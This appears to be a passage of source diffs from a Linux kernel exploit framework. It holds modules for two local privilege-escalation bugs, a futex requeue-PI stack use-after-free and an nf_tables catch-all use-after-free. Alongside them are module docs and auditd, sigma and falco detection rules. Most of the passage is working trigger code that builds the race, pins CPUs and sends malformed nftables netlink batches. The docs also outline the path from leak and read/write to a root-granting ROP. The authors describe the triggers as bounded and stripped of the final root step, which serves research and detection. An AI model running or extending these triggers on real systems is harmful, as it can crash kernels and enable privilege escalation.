return NULL;
}
static void *ghl_owner_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
sched_yield();
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
static void *ghl_consumer_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(1); /* sibling CPU */
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
sched_yield();
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
struct ghl_sched_attr sa;
memset(&sa, 0, sizeof sa);
sa.size = sizeof sa;
sa.sched_policy = SCHED_BATCH;
sa.sched_nice = 19;
/* Hammer a PI-chain priority walk on the waiter concurrently with the
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
#ifdef SYS_sched_setattr
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
#else
sched_yield();
#endif
}
return NULL;
}
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
* kernel returned -EDEADLK (the rollback path was reached). */
static int ghl_one_attempt(int with_race)
{
struct ghl_attempt a;
memset(&a, 0, sizeof a);
pthread_t tw, to, tc;
int have_tc = 0;
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
return 0;
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
sched_yield();
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
atomic_store_explicit(&a.stop, 1, memory_order_release);
pthread_join(tw, NULL);
return 0;
}
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
sched_yield();
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
have_tc = 1;
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
* LOCK_PI(chain) before we close the cycle. */
usleep(3000);
errno = 0;
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
(void *)(uintptr_t)1, &a.target, 0);
int got_edeadlk = (r == -1 && errno == EDEADLK);
atomic_store_explicit(&a.stop, 1, memory_order_release);
if (have_tc) pthread_join(tc, NULL);
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
pthread_join(tw, NULL);
return got_edeadlk;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = ghostlock_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ghostlock: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
"the requeue-PI cycle and confirms the -EDEADLK "
"remove_waiter() rollback path is reachable, then exercises "
"the race window %d bounded times (%ds cap) with a "
"sibling-CPU sched_setattr storm, and stops. The "
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
"→ cred-patch root-pop is NOT bundled.\n",
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
* KASAN kernel that oopses (contained to the child); on a plain
* vulnerable kernel it may panic which is exactly why the attempt
* count is hard-bounded and the window is never widened. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* Phase A — deterministic, safe reachability confirmation. */
int edeadlk = 0;
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
edeadlk = ghl_one_attempt(0 /* no race */);
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
int fired = 0;
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
(void)ghl_one_attempt(1 /* with race */);
fired = i + 1;
}
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
"%d bounded race-window iterations fired\n",
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
_exit(edeadlk ? 100 : 101);
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
"requeue-PI stack UAF may have fired (KASAN oops / "
"corruption fault). This is the bug, but no root was "
"obtained.\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (WIFEXITED(status) &&
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
if (!ctx->json) {
if (WEXITSTATUS(status) == 100)
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
"deadlock-rollback path IS reachable here "
"(-EDEADLK) and the race window was exercised — "
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
else
fprintf(stderr, "[!] ghostlock: race window exercised but the "
"-EDEADLK rollback path was not observed (timing, "
"or a hardened/patched-at-runtime kernel) — honest "
"EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] ghostlock: to complete: port the public "
"KernelSnitch page leak + forged on-stack "
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
"per-build offsets — not bundled).\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
"requeue-PI stack UAF) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
* genuinely distinctive behavioural tell a futex requeue-PI operation
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
* the post-exploitation euid-0 transition; the high-fidelity
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
* which can see the op and the return value. Tune per environment.
*/
static const char ghostlock_auditd[] =
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
"# your SIEM per-pid within a short window; individually they are benign.\n"
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
static const char ghostlock_sigma[] =
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
"status: experimental\n"
"description: |\n"
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
" rollback path, reachable by any unprivileged user via futex(2) +\n"
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" condition: schedattr or (uid0 and unpriv)\n"
"level: medium\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
static const char ghostlock_falco[] =
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
" desc: |\n"
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
" effect below: a non-root process becoming root outside a setuid binary.\n"
" condition: >\n"
" (evt.type = futex and evt.rawres = -35) or\n"
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0)\n"
" output: >\n"
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
" priority: WARNING\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
const struct skeletonkey_module ghostlock_module = {
.name = "ghostlock",
.cve = "CVE-2026-43499",
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
.family = "rtmutex",
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
.detect = ghostlock_detect,
.exploit = ghostlock_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
.detect_auditd = ghostlock_auditd,
.detect_sigma = ghostlock_sigma,
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
.detect_falco = ghostlock_falco,
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
.arch_support = "any",
};
void skeletonkey_register_ghostlock(void)
{
skeletonkey_register(&ghostlock_module);
}
@@ -0,0 +1,12 @@
/*
* ghostlock_cve_2026_43499 SKELETONKEY module registry hook
*/
#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H
#define GHOSTLOCK_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ghostlock_module;
#endif
@@ -71,6 +71,7 @@
* VULNERABLE by version-only check; the RLIMIT_STACK active probe * VULNERABLE by version-only check; the RLIMIT_STACK active probe
* (--active) is required to confirm exploitability on a real host. */ * (--active) is required to confirm exploitability on a real host. */
static const struct kernel_patched_from mutagen_patched_branches[] = { static const struct kernel_patched_from mutagen_patched_branches[] = {
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
{4, 14, 71}, /* 4.14 LTS stable backport */ {4, 14, 71}, /* 4.14 LTS stable backport */
{4, 18, 8}, /* mainline + everything above inherits */ {4, 18, 8}, /* mainline + everything above inherits */
}; };
@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
{4, 14, 240}, {4, 14, 240},
{4, 19, 198}, {4, 19, 198},
{5, 4, 128}, {5, 4, 128},
{5, 10, 46}, {5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
{5, 11, 20}, {5, 11, 20},
{5, 12, 13}, {5, 12, 13},
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */ {5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
@@ -0,0 +1,62 @@
# nft_catchall — CVE-2026-23111
An nf_tables use-after-free reachable from an unprivileged user: an
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
map elements on transaction abort, freeing a chain that a catch-all GOTO
verdict still references.
## The bug
nftables *maps* can hold a **catch-all** element — a default that matches
when no other element does — and in a verdict map that element carries a
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
**abort** phase of a netlink transaction to re-activate elements that a
rolled-back batch had touched. A single inverted `!` makes it operate on
*active* catch-all elements instead of skipping them, so the referenced
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
chain while the catch-all verdict still points at it → **use-after-free**.
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
over a private network namespace.
## Affected range
| | |
|---|---|
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
| CISA KEV | no |
The 5.10 (bullseye) branch is still unfixed at time of writing →
version-only VULNERABLE there.
## Trigger / detection
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
when the kernel is vulnerable but unprivileged user-namespace clone is
denied (exploit unreachable), and `VULNERABLE` when the version is in
range and userns is allowed.
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
and sends an aborting batch to drive the abort-path UAF; it observes
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
and the trigger is reconstructed from public analysis, not VM-verified.
## Fix / mitigation
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
unprivileged path even on a kernel-vulnerable host.
## Credit
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
`NOTICE.md`.
@@ -0,0 +1,62 @@
# NOTICE — nft_catchall (CVE-2026-23111)
## Vulnerability
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
an **inverted condition** (a stray `!`): during a transaction *abort* it
processes *active* catch-all set elements instead of skipping them. A
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
referencing a chain; the wrong (de)activation drives the chain's
use-count to zero, so a following `DELCHAIN` frees the chain while the
catch-all verdict element still references it → UAF.
From an **unprivileged** local user — via **user namespaces + nftables**
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
root: leak a kernel address, obtain arbitrary R/W, ROP over
`modprobe_path` / `selinux_state`.
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
The fix removed a single character (the inverted `!`).
## Research credit
- **Fixed upstream** by commit
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
… catch-all … activate"); reported and fixed through the Linux kernel
security process (NVD lists the source as `kernel.org`; no public
individual reporter name in the advisory).
- **Public reproduction + analysis** by **FuzzingLabs**
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
trigger reconstruction is informed by.
- Debian security tracker (authoritative backport versions):
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
still unfixed at time of writing).
All credit for finding and analysing this bug belongs to the upstream
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
fires the bug class and stops.
`detect()` version-gates against the Debian backports above (upstream
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
~5.13, so older kernels lack the path) **and** requires unprivileged
user-namespace clone — a vulnerable kernel with userns locked down is
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
element and provokes an aborting batch transaction to drive the
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
shell is **not** bundled (per-build offsets refused), and the trigger is
reconstructed from the public analysis rather than VM-verified — it never
claims root it did not get.
@@ -0,0 +1,589 @@
/*
* nft_catchall_cve_2026_23111 SKELETONKEY module
*
* CVE-2026-23111 a use-after-free in the Linux kernel's nf_tables
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
* carries an inverted condition (a stray `!`): on transaction abort it
* processes *active* catch-all set elements instead of skipping them.
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
* that references a chain; the wrong (de)activation lets the chain's
* use-count reach zero so a following DELCHAIN frees it while the
* catch-all verdict element still points at it UAF. From an
* unprivileged user (via user namespaces + nftables) this is escalatable
* to root: leak a kernel address, win arbitrary R/W, ROP over
* modprobe_path / selinux_state.
*
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
* ("remove one exclamation mark"). Public reproduction + analysis by
* FuzzingLabs. NOT in CISA KEV.
*
* STATUS: 🟡 TRIGGER (reconstructed) primitive-only, NOT VM-verified.
* This is one more UAF in the most-covered subsystem in the corpus
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
* trigger that fires the bug class and STOPS. detect() version-gates
* against the Debian-tracked backports below and additionally requires
* unprivileged user-namespace clone (the bug is unreachable to an
* unprivileged user without it). exploit() builds a map with a
* catch-all GOTO element and provokes a failed (aborting) batch
* transaction to drive the abort-path UAF, observes slabinfo, and
* returns EXPLOIT_FAIL the per-kernel leak + arbitrary-R/W + ROP that
* lands a root shell is NOT bundled (per-build offsets refused), and
* the trigger itself is reconstructed from the public analysis rather
* than VM-verified. It never claims root it did not get.
*
* Affected range (Debian-tracked stable backports of the fix):
* 6.1.x : K >= 6.1.164 (bookworm)
* 6.12.x : K >= 6.12.73 (trixie)
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
* The 5.10 (bullseye) branch is still unfixed as of writing version-
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
* vulnerable nft_map_catchall_activate path does not exist below that.
*
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
* user-namespace clone permitted (modern Ubuntu's
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
*
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
/* Catch-all set-element flag — may be absent from older uapi headers. */
#ifndef NFT_SET_ELEM_CATCHALL
#define NFT_SET_ELEM_CATCHALL 0x2
#endif
/* ------------------------------------------------------------------
* Kernel-range table. Upstream-stable thresholds (<= the Debian
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
* security-tracker.debian.org is the source of record.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
* rule the fix predates the 7.0 branch. */
};
static const struct kernel_range nft_catchall_range = {
.patched_from = nft_catchall_patched_branches,
.n_patched_from = sizeof(nft_catchall_patched_branches) /
sizeof(nft_catchall_patched_branches[0]),
};
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
if (!f) return false;
char line[512];
bool found = false;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
}
fclose(f);
return found;
}
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
* ~5.13. Below that the vulnerable path does not exist. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
"elements (~5.13) — vulnerable path absent\n",
v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&nft_catchall_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
return SKELETONKEY_OK;
}
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
v->release);
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
}
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
"user_ns clone denied → unprivileged exploit "
"unreachable\n");
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
"attacker can trigger the abort-path UAF\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
"unprivileged user_ns clone allowed\n");
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
* malformed ruleset only touches our own namespace.
* ------------------------------------------------------------------ */
static int enter_unpriv_namespaces(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("[-] unshare(USER|NET)");
return -1;
}
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
}
close(f);
snprintf(map, sizeof map, "0 %u 1\n", gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
}
close(f);
return 0;
}
/* ------------------------------------------------------------------
* Minimal dep-free nfnetlink batch builder (same approach as the
* nf_tables module libnftnl validates our malformed input away).
* ------------------------------------------------------------------ */
#define ALIGN_NL(x) (((x) + 3) & ~3)
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
const void *data, size_t len)
{
struct nlattr *na = (struct nlattr *)(buf + *off);
na->nla_type = type;
na->nla_len = NLA_HDRLEN + len;
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
*off += ALIGN_NL(NLA_HDRLEN + len);
}
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
{
uint32_t be = htonl(v);
put_attr(buf, off, type, &be, sizeof be);
}
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
{
put_attr(buf, off, type, s, strlen(s) + 1);
}
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
{
size_t at = *off;
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_type = type | NLA_F_NESTED;
na->nla_len = 0;
*off += NLA_HDRLEN;
return at;
}
static void end_nest(uint8_t *buf, size_t *off, size_t at)
{
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_len = (uint16_t)(*off - at);
while ((*off) & 3) buf[(*off)++] = 0;
}
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
uint16_t flags, uint32_t seq, uint8_t family)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = family;
nf->version = NFNETLINK_V0;
nf->res_id = htons(0);
*off += sizeof(*nf);
}
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
while ((*off) & 3) buf[(*off)++] = 0;
}
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
{
size_t at = *off;
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = type;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
